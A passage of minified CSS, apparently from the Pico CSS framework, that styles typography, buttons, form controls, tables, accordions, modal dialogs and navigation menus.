(min-width:992px){.grid{grid-template-columns:repeat(auto-fit,minmax(0%,1fr))}}.grid>*{min-width:0}figure{display:block;margin:0;padding:0;overflow-x:auto}figure figcaption{padding:calc(var(--spacing)*0.5)0;color:var(--muted-color)}b,strong{font-weight:bolder}sub,sup{position:relative;font-size:0.75em;line-height:0;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}address,blockquote,dl,figure,form,ol,p,pre,table,ul{margin-top:0;margin-bottom:var(--typography-spacing-vertical);color:var(--color);font-style:normal;font-weight:var(--font-weight);font-size:var(--font-size)}a,[role="link"]{--color:var(--primary);--background-color:transparent;outline:none;background-color:var(--background-color);color:var(--color);-webkit-text-decoration:var(--text-decoration);text-decoration:var(--text-decoration);transition:background-color var(--transition),color var(--transition),box-shadow var(--transition),-webkit-text-decoration var(--transition);transition:background-color var(--transition),color var(--transition),text-decoration var(--transition),box-shadow var(--transition);transition:background-color var(--transition),color var(--transition),text-decoration var(--transition),box-shadow var(--transition),-webkit-text-decoration var(--transition)}a:is([aria-current],:hover,:active,:focus),[role="link"]:is([aria-current],:hover,:active,:focus){--color:var(--primary-hover);--text-decoration:underline}a:focus,[role="link"]:focus{--background-color:var(--primary-focus)}a.secondary,[role="link"].secondary{--color:var(--secondary)}a.secondary:is([aria-current],:hover,:active,:focus),[role="link"].secondary:is([aria-current],:hover,:active,:focus){--color:var(--secondary-hover)}a.secondary:focus,[role="link"].secondary:focus{--background-color:var(--secondary-focus)}a.contrast,[role="link"].contrast{--color:var(--contrast)}a.contrast:is([aria-current],:hover,:active,:focus),[role="link"].contrast:is([aria-current],:hover,:active,:focus){--color:var(--contrast-hover)}a.contrast:focus,[role="link"].contrast:focus{--background-color:var(--contrast-focus)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:var(--typography-spacing-vertical);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);font-family:var(--font-family)}h1{--color:var(--h1-color)}h2{--color:var(--h2-color)}h3{--color:var(--h3-color)}h4{--color:var(--h4-color)}h5{--color:var(--h5-color)}h6{--color:var(--h6-color)}:where(address,blockquote,dl,figure,form,ol,p,pre,table,ul)~:is(h1,h2,h3,h4,h5,h6){margin-top:var(--typography-spacing-vertical)}hgroup,.headings{margin-bottom:var(--typography-spacing-vertical)}hgroup>*,.headings>*{margin-bottom:0}hgroup>*:last-child,.headings>*:last-child{--color:var(--muted-color);--font-weight:unset;font-size:1rem;font-family:unset}p{margin-bottom:var(--typography-spacing-vertical)}small{font-size:var(--font-size)}:where(dl,ol,ul){padding-right:0;padding-left:var(--spacing);-webkit-padding-start:var(--spacing);padding-inline-start:var(--spacing);-webkit-padding-end:0;padding-inline-end:0}:where(dl,ol,ul) li{margin-bottom:calc(var(--typography-spacing-vertical)*0.25)}:where(dl,ol,ul) :is(dl,ol,ul){margin:0;margin-top:calc(var(--typography-spacing-vertical)*0.25)}ul li{list-style:square}mark{padding:0.125rem 0.25rem;background-color:var(--mark-background-color);color:var(--mark-color);vertical-align:baseline}blockquote{display:block;margin:var(--typography-spacing-vertical)0;padding:var(--spacing);border-right:none;border-left:0.25rem solid var(--blockquote-border-color);-webkit-border-start:0.25rem solid var(--blockquote-border-color);border-inline-start:0.25rem solid var(--blockquote-border-color);-webkit-border-end:none;border-inline-end:none}blockquote footer{margin-top:calc(var(--typography-spacing-vertical)*0.5);color:var(--blockquote-footer-color)}abbr[title]{border-bottom:1px dotted;text-decoration:none;cursor:help}ins{color:var(--ins-color);text-decoration:none}del{color:var(--del-color)}::-moz-selection{background-color:var(--primary-focus)}::selection{background-color:var(--primary-focus)}:where(audio,canvas,iframe,img,svg,video){vertical-align:middle}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}:where(iframe){border-style:none}img{max-width:100%;height:auto;border-style:none}:where(svg:not([fill])){fill:currentColor}svg:not(#mount){overflow:hidden}button{margin:0;overflow:visible;font-family:inherit;text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button{display:block;width:100%;margin-bottom:var(--spacing)}[role="button"]{display:inline-block;text-decoration:none}button,input[type="submit"],input[type="button"],input[type="reset"],[role="button"]{--background-color:var(--primary);--border-color:var(--primary);--color:var(--primary-inverse);--box-shadow:var(--button-box-shadow,0 0 0 rgba(0,0,0,0));padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}button:is([aria-current],:hover,:active,:focus),input[type="submit"]:is([aria-current],:hover,:active,:focus),input[type="button"]:is([aria-current],:hover,:active,:focus),input[type="reset"]:is([aria-current],:hover,:active,:focus),[role="button"]:is([aria-current],:hover,:active,:focus){--background-color:var(--primary-hover);--border-color:var(--primary-hover);--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0));--color:var(--primary-inverse)}button:focus,input[type="submit"]:focus,input[type="button"]:focus,input[type="reset"]:focus,[role="button"]:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--primary-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary,input[type="reset"]{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);cursor:pointer}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary:is([aria-current],:hover,:active,:focus),input[type="reset"]:is([aria-current],:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover);--color:var(--secondary-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary:focus,input[type="reset"]:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--secondary-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast{--background-color:var(--contrast);--border-color:var(--contrast);--color:var(--contrast-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast:is([aria-current],:hover,:active,:focus){--background-color:var(--contrast-hover);--border-color:var(--contrast-hover);--color:var(--contrast-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--contrast-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline,input[type="reset"].outline{--background-color:transparent;--color:var(--primary)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline:is([aria-current],:hover,:active,:focus),input[type="reset"].outline:is([aria-current],:hover,:active,:focus){--background-color:transparent;--color:var(--primary-hover)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.secondary,input[type="reset"].outline{--color:var(--secondary)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.secondary:is([aria-current],:hover,:active,:focus),input[type="reset"].outline:is([aria-current],:hover,:active,:focus){--color:var(--secondary-hover)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.contrast{--color:var(--contrast)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.contrast:is([aria-current],:hover,:active,:focus){--color:var(--contrast-hover)}:where(button,[type="submit"],[type="button"],[type="reset"],[role="button"])[disabled],:where(fieldset[disabled]) :is(button,[type="submit"],[type="button"],[type="reset"],[role="button"]),a[role="button"]:not([href]){opacity:0.5;pointer-events:none}input,optgroup,select,textarea{margin:0;font-size:1rem;line-height:var(--line-height);font-family:inherit;letter-spacing:inherit}input{overflow:visible}select{text-transform:none}legend{max-width:100%;padding:0;color:inherit;white-space:normal}textarea{overflow:auto}[type="checkbox"],[type="radio"]{padding:0}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}::-moz-focus-inner{padding:0;border-style:none}:-moz-focusring{outline:none}:-moz-ui-invalid{box-shadow:none}::-ms-expand{display:none}[type="file"],[type="range"]{padding:0;border-width:0}input:not([type="checkbox"],[type="radio"],[type="range"]){height:calc(1rem*var(--line-height) + var(--form-element-spacing-vertical)*2 + var(--border-width)*2)}fieldset{margin:0;margin-bottom:var(--spacing);padding:0;border:0}label,fieldset legend{display:block;margin-bottom:calc(var(--spacing)*0.25);font-weight:var(--form-label-font-weight,var(--font-weight))}input:not([type="checkbox"],[type="radio"]),select,textarea{width:100%}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"]),select,textarea{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal)}input,select,textarea{--background-color:var(--form-element-background-color);--border-color:var(--form-element-border-color);--color:var(--form-element-color);--box-shadow:none;border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}input:not([type="submit"],[type="button"],[type="reset"],[type="checkbox"],[type="radio"],[readonly]):is(:active,:focus),:where(select,textarea):is(:active,:focus){--background-color:var(--form-element-active-background-color)}input:not([type="submit"],[type="button"],[type="reset"],[role="switch"],[readonly]):is(:active,:focus),:where(select,textarea):is(:active,:focus){--border-color:var(--form-element-active-border-color)}input:not([type="submit"],[type="button"],[type="reset"],[type="range"],[type="file"],[readonly]):focus,select:focus,textarea:focus{--box-shadow:0 0 0 var(--outline-width) var(--form-element-focus-color)}input:not([type="submit"],[type="button"],[type="reset"])[disabled],select[disabled],textarea[disabled],:where(fieldset[disabled]) :is(input:not([type="submit"],[type="button"],[type="reset"]),select,textarea){--background-color:var(--form-element-disabled-background-color);--border-color:var(--form-element-disabled-border-color);opacity:var(--form-element-disabled-opacity);pointer-events:none}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid]{padding-right:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;padding-left:var(--form-element-spacing-horizontal);-webkit-padding-start:var(--form-element-spacing-horizontal)!important;padding-inline-start:var(--form-element-spacing-horizontal)!important;-webkit-padding-end:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;padding-inline-end:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;background-position:center right 0.75rem;background-size:1rem auto;background-repeat:no-repeat}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid="false"]{background-image:var(--icon-valid)}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid="true"]{background-image:var(--icon-invalid)}:where(input,select,textarea)[aria-invalid="false"]{--border-color:var(--form-element-valid-border-color)}:where(input,select,textarea)[aria-invalid="false"]:is(:active,:focus){--border-color:var(--form-element-valid-active-border-color)!important;--box-shadow:0 0 0 var(--outline-width) var(--form-element-valid-focus-color)!important}:where(input,select,textarea)[aria-invalid="true"]{--border-color:var(--form-element-invalid-border-color)}:where(input,select,textarea)[aria-invalid="true"]:is(:active,:focus){--border-color:var(--form-element-invalid-active-border-color)!important;--box-shadow:0 0 0 var(--outline-width) var(--form-element-invalid-focus-color)!important}[dir="rtl"] :where(input,select,textarea):not([type="checkbox"],[type="radio"]):is([aria-invalid],[aria-invalid="true"],[aria-invalid="false"]){background-position:center left 0.75rem}input::placeholder,input::-webkit-input-placeholder,textarea::placeholder,textarea::-webkit-input-placeholder,select:invalid{color:var(--form-element-placeholder-color);opacity:1}input:not([type="checkbox"],[type="radio"]),select,textarea{margin-bottom:var(--spacing)}select::-ms-expand{border:0;background-color:transparent}select:not([multiple],[size]){padding-right:calc(var(--form-element-spacing-horizontal) + 1.5rem);padding-left:var(--form-element-spacing-horizontal);-webkit-padding-start:var(--form-element-spacing-horizontal);padding-inline-start:var(--form-element-spacing-horizontal);-webkit-padding-end:calc(var(--form-element-spacing-horizontal) + 1.5rem);padding-inline-end:calc(var(--form-element-spacing-horizontal) + 1.5rem);background-image:var(--icon-chevron);background-position:center right 0.75rem;background-size:1rem auto;background-repeat:no-repeat}[dir="rtl"] select:not([multiple],[size]){background-position:center left 0.75rem}:where(input,select,textarea)+small{display:block;width:100%;margin-top:calc(var(--spacing)*-0.75);margin-bottom:var(--spacing);color:var(--muted-color)}label>:where(input,select,textarea){margin-top:calc(var(--spacing)*0.25)}[type="checkbox"],[type="radio"]{-webkit-appearance:none;-moz-appearance:none;appearance:none;width:1.25em;height:1.25em;margin-top:-0.125em;margin-right:0.375em;margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:0.375em;margin-inline-end:0.375em;border-width:var(--border-width);font-size:inherit;vertical-align:middle;cursor:pointer}[type="checkbox"]::-ms-check,[type="radio"]::-ms-check{display:none}[type="checkbox"]:checked,[type="checkbox"]:checked:active,[type="checkbox"]:checked:focus,[type="radio"]:checked,[type="radio"]:checked:active,[type="radio"]:checked:focus{--background-color:var(--primary);--border-color:var(--primary);background-image:var(--icon-checkbox);background-position:center;background-size:0.75em auto;background-repeat:no-repeat}[type="checkbox"]~label,[type="radio"]~label{display:inline-block;margin-right:0.375em;margin-bottom:0;cursor:pointer}[type="checkbox"]:indeterminate{--background-color:var(--primary);--border-color:var(--primary);background-image:var(--icon-minus);background-position:center;background-size:0.75em auto;background-repeat:no-repeat}[type="radio"]{border-radius:50%}[type="radio"]:checked,[type="radio"]:checked:active,[type="radio"]:checked:focus{--background-color:var(--primary-inverse);border-width:0.35em;background-image:none}[type="checkbox"][role="switch"]{--background-color:var(--switch-background-color);--border-color:var(--switch-background-color);--color:var(--switch-color);width:2.25em;height:1.25em;border:var(--border-width) solid var(--border-color);border-radius:1.25em;background-color:var(--background-color);line-height:1.25em}[type="checkbox"][role="switch"]:focus{--background-color:var(--switch-background-color);--border-color:var(--switch-background-color)}[type="checkbox"][role="switch"]:checked{--background-color:var(--switch-checked-background-color);--border-color:var(--switch-checked-background-color)}[type="checkbox"][role="switch"]:before{display:block;width:calc(1.25em - (var(--border-width)*2));height:100%;border-radius:50%;background-color:var(--color);content:"";transition:margin 0.1s ease-in-out}[type="checkbox"][role="switch"]:checked{background-image:none}[type="checkbox"][role="switch"]:checked::before{margin-left:calc(1.125em - var(--border-width));-webkit-margin-start:calc(1.125em - var(--border-width));margin-inline-start:calc(1.125em - var(--border-width))}[type="checkbox"][aria-invalid="false"],[type="checkbox"]:checked[aria-invalid="false"],[type="radio"][aria-invalid="false"],[type="radio"]:checked[aria-invalid="false"],[type="checkbox"][role="switch"][aria-invalid="false"],[type="checkbox"][role="switch"]:checked[aria-invalid="false"]{--border-color:var(--form-element-valid-border-color)}[type="checkbox"][aria-invalid="true"],[type="checkbox"]:checked[aria-invalid="true"],[type="radio"][aria-invalid="true"],[type="radio"]:checked[aria-invalid="true"],[type="checkbox"][role="switch"][aria-invalid="true"],[type="checkbox"][role="switch"]:checked[aria-invalid="true"]{--border-color:var(--form-element-invalid-border-color)}[type="color"]::-webkit-color-swatch-wrapper{padding:0}[type="color"]::-moz-focus-inner{padding:0}[type="color"]::-webkit-color-swatch{border:0;border-radius:calc(var(--border-radius)*0.5)}[type="color"]::-moz-color-swatch{border:0;border-radius:calc(var(--border-radius)*0.5)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"]):is([type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"]){--icon-position:0.75rem;--icon-width:1rem;padding-right:calc(var(--icon-width) + var(--icon-position));background-image:var(--icon-date);background-position:center right var(--icon-position);background-size:var(--icon-width) auto;background-repeat:no-repeat}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="time"]{background-image:var(--icon-time)}[type="date"]::-webkit-calendar-picker-indicator,[type="datetime-local"]::-webkit-calendar-picker-indicator,[type="month"]::-webkit-calendar-picker-indicator,[type="time"]::-webkit-calendar-picker-indicator,[type="week"]::-webkit-calendar-picker-indicator{width:var(--icon-width);margin-right:calc(var(--icon-width)*-1);margin-left:var(--icon-position);opacity:0}[dir="rtl"] :is([type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"]){text-align:right}[type="file"]{--color:var(--muted-color);padding:calc(var(--form-element-spacing-vertical)*0.5)0;border:0;border-radius:0;background:none}[type="file"]::file-selector-button{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)/2);margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::file-selector-button:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="file"]::-webkit-file-upload-button{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)/2);margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;-webkit-transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::-webkit-file-upload-button:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="file"]::-ms-browse{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;margin-inline-start:0;margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;-ms-transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::-ms-browse:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="range"]{-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;height:1.25rem;background:none}[type="range"]::-webkit-slider-runnable-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-webkit-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-moz-range-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-moz-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-ms-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-ms-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-webkit-slider-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-webkit-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]::-moz-range-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-moz-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]::-ms-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-ms-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]:hover,[type="range"]:focus{--range-border-color:var(--range-active-border-color);--range-thumb-color:var(--range-thumb-hover-color)}[type="range"]:active{--range-thumb-color:var(--range-thumb-active-color)}[type="range"]:active::-webkit-slider-thumb{transform:scale(1.25)}[type="range"]:active::-moz-range-thumb{transform:scale(1.25)}[type="range"]:active::-ms-thumb{transform:scale(1.25)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"]{-webkit-padding-start:calc(var(--form-element-spacing-horizontal) + 1.75rem);padding-inline-start:calc(var(--form-element-spacing-horizontal) + 1.75rem);border-radius:5rem;background-image:var(--icon-search);background-position:center left 1.125rem;background-size:1rem auto;background-repeat:no-repeat}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid]{-webkit-padding-start:calc(var(--form-element-spacing-horizontal) + 1.75rem)!important;padding-inline-start:calc(var(--form-element-spacing-horizontal) + 1.75rem)!important;background-position:center left 1.125rem,center right 0.75rem}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid="false"]{background-image:var(--icon-search),var(--icon-valid)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid="true"]{background-image:var(--icon-search),var(--icon-invalid)}[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none;display:none}[dir="rtl"] :where(input):not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"]{background-position:center right 1.125rem}[dir="rtl"] :where(input):not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid]{background-position:center right 1.125rem,center left 0.75rem}:where(table){width:100%;border-collapse:collapse;border-spacing:0;text-indent:0}th,td{padding:calc(var(--spacing)/2) var(--spacing);border-bottom:var(--border-width) solid var(--table-border-color);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);text-align:left;text-align:start}tfoot th,tfoot td{border-top:var(--border-width) solid var(--table-border-color);border-bottom:0}table[role="grid"] tbody tr:nth-child(odd){background-color:var(--table-row-stripped-background-color)}pre,code,kbd,samp{font-size:0.875em;font-family:var(--font-family)}pre{-ms-overflow-style:scrollbar;overflow:auto}pre,code,kbd{border-radius:var(--border-radius);background:var(--code-background-color);color:var(--code-color);font-weight:var(--font-weight);line-height:initial}code,kbd{display:inline-block;padding:0.375rem 0.5rem}pre{display:block;margin-bottom:var(--spacing);overflow-x:auto}pre>code{display:block;padding:var(--spacing);background:none;font-size:14px;line-height:var(--line-height)}code b{color:var(--code-tag-color);font-weight:var(--font-weight)}code i{color:var(--code-property-color);font-style:normal}code u{color:var(--code-value-color);text-decoration:none}code em{color:var(--code-comment-color);font-style:normal}kbd{background-color:var(--code-kbd-background-color);color:var(--code-kbd-color);vertical-align:baseline}hr{height:0;border:0;border-top:1px solid var(--muted-border-color);color:inherit}[hidden],template{display:none!important}canvas{display:inline-block}details{display:block;margin-bottom:var(--spacing);padding-bottom:var(--spacing);border-bottom:var(--border-width) solid var(--accordion-border-color)}details summary{line-height:1rem;list-style-type:none;cursor:pointer;transition:color var(--transition)}details summary:not([role]){color:var(--accordion-close-summary-color)}details summary::-webkit-details-marker{display:none}details summary::marker{display:none}details summary::-moz-list-bullet{list-style-type:none}details summary::after{display:block;width:1rem;height:1rem;-webkit-margin-start:calc(var(--spacing,1rem)*0.5);margin-inline-start:calc(var(--spacing,1rem)*0.5);float:right;transform:rotate(-90deg);background-image:var(--icon-chevron);background-position:right center;background-size:1rem auto;background-repeat:no-repeat;content:"";transition:transform var(--transition)}details summary:focus{outline:none}details summary:focus:not([role="button"]){color:var(--accordion-active-summary-color)}details summary[role="button"]{width:100%;text-align:left}details summary[role="button"]::after{height:calc(1rem*var(--line-height,1.5));background-image:var(--icon-chevron-button)}details summary[role="button"]:not(.outline).contrast::after{background-image:var(--icon-chevron-button-inverse)}details[open]>summary{margin-bottom:calc(var(--spacing))}details[open]>summary:not([role]):not(:focus){color:var(--accordion-open-summary-color)}details[open]>summary::after{transform:rotate(0)}[dir="rtl"] details summary{text-align:right}[dir="rtl"] details summary::after{float:left;background-position:left center}article{margin:var(--block-spacing-vertical)0;padding:var(--block-spacing-vertical) var(--block-spacing-horizontal);border-radius:var(--border-radius);background:var(--card-background-color);box-shadow:var(--card-box-shadow)}article>header,article>footer{margin-right:calc(var(--block-spacing-horizontal)*-1);margin-left:calc(var(--block-spacing-horizontal)*-1);padding:calc(var(--block-spacing-vertical)*0.66) var(--block-spacing-horizontal);background-color:var(--card-sectionning-background-color)}article>header{margin-top:calc(var(--block-spacing-vertical)*-1);margin-bottom:var(--block-spacing-vertical);border-bottom:var(--border-width) solid var(--card-border-color);border-top-right-radius:var(--border-radius);border-top-left-radius:var(--border-radius)}article>footer{margin-top:var(--block-spacing-vertical);margin-bottom:calc(var(--block-spacing-vertical)*-1);border-top:var(--border-width) solid var(--card-border-color);border-bottom-right-radius:var(--border-radius);border-bottom-left-radius:var(--border-radius)}#mount{--scrollbar-width:0px}dialog{display:flex;z-index:999;position:fixed;top:0;right:0;bottom:0;left:0;align-items:center;justify-content:center;width:inherit;min-width:100%;height:inherit;min-height:100%;padding:var(--spacing);border:0;-webkit-backdrop-filter:var(--modal-overlay-backdrop-filter);backdrop-filter:var(--modal-overlay-backdrop-filter);background-color:var(--modal-overlay-background-color);color:var(--color)}dialog article{max-height:calc(100vh - var(--spacing)*2);overflow:auto}@media (min-width:576px){dialog article{max-width:510px}}@media (min-width:768px){dialog article{max-width:700px}}dialog article>header,dialog article>footer{padding:calc(var(--block-spacing-vertical)*0.5) var(--block-spacing-horizontal)}dialog article>header .close{margin:0;margin-left:var(--spacing);float:right}dialog article>footer{text-align:right}dialog article>footer [role="button"]{margin-bottom:0}dialog article>footer [role="button"]:not(:first-of-type){margin-left:calc(var(--spacing)*0.5)}dialog article p:last-of-type{margin:0}dialog article .close{display:block;width:1rem;height:1rem;margin-top:calc(var(--block-spacing-vertical)*-0.5);margin-bottom:var(--typography-spacing-vertical);margin-left:auto;background-image:var(--icon-close);background-position:center;background-size:auto 1rem;background-repeat:no-repeat;opacity:0.5;transition:opacity var(--transition)}dialog article .close:is([aria-current],:hover,:active,:focus){opacity:1}dialog:not([open]),dialog[open="false"]{display:none}.modal-is-open{padding-right:var(--scrollbar-width,0px);overflow:hidden;pointer-events:none}.modal-is-open dialog{pointer-events:auto}:where(.modal-is-opening,.modal-is-closing) dialog,:where(.modal-is-opening,.modal-is-closing) dialog>article{animation-duration:0.2s;animation-timing-function:ease-in-out;animation-fill-mode:both}:where(.modal-is-opening,.modal-is-closing) dialog{animation-duration:0.8s;animation-name:modal-overlay}:where(.modal-is-opening,.modal-is-closing) dialog>article{animation-delay:0.2s;animation-name:modal}.modal-is-closing dialog,.modal-is-closing dialog>article{animation-delay:0s;animation-direction:reverse}@keyframes modal-overlay{from{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:transparent}}@keyframes modal{from{transform:translateY(-100%);opacity:0}}:where(nav li)::before{float:left;content:""}nav,nav ul{display:flex}nav{justify-content:space-between}nav ol,nav ul{align-items:center;margin-bottom:0;padding:0;list-style:none}nav ol:first-of-type,nav ul:first-of-type{margin-left:calc(var(--nav-element-spacing-horizontal)*-1)}nav ol:last-of-type,nav ul:last-of-type{margin-right:calc(var(--nav-element-spacing-horizontal)*-1)}nav li{display:inline-block;margin:0;padding:var(--nav-element-spacing-vertical) var(--nav-element-spacing-horizontal)}nav li>*{--spacing:0}nav :where(a,[role="link"]){display:inline-block;margin:calc(var(--nav-link-spacing-vertical)*-1) calc(var(--nav-link-spacing-horizontal)*-1);padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal);border-radius:var(--border-radius);text-decoration:none}nav :where(a,[role="link"]):is([aria-current],:hover,:active,:focus){text-decoration:none}nav[aria-label="breadcrumb"]{align-items:center;justify-content:start}nav[aria-label="breadcrumb"] ul li:not(:first-child){-webkit-margin-start:var(--nav-link-spacing-horizontal);margin-inline-start:var(--nav-link-spacing-horizontal)}nav[aria-label="breadcrumb"] ul li:not(:last-child) ::after{position:absolute;width:calc(var(--nav-link-spacing-horizontal)*2);-webkit-margin-start:calc(var(--nav-link-spacing-horizontal)/2);margin-inline-start:calc(var(--nav-link-spacing-horizontal)/2);content:"/";color:var(--muted-color);text-align:center}nav[aria-label="breadcrumb"] a[aria-current]{background-color:transparent;color:inherit;text-decoration:none;pointer-events:none}nav [role="button"]{margin-right:inherit;margin-left:inherit;padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal)}aside nav,aside ol,aside ul,aside li{display:block}aside li{padding:calc(var(--nav-element-spacing-vertical)*0.5) var(--nav-element-spacing-horizontal)}aside li a{display:block}aside li [role="button"]{margin:inherit}[dir="rtl"] nav[aria-label="breadcrumb"] ul li:not(:last-child) 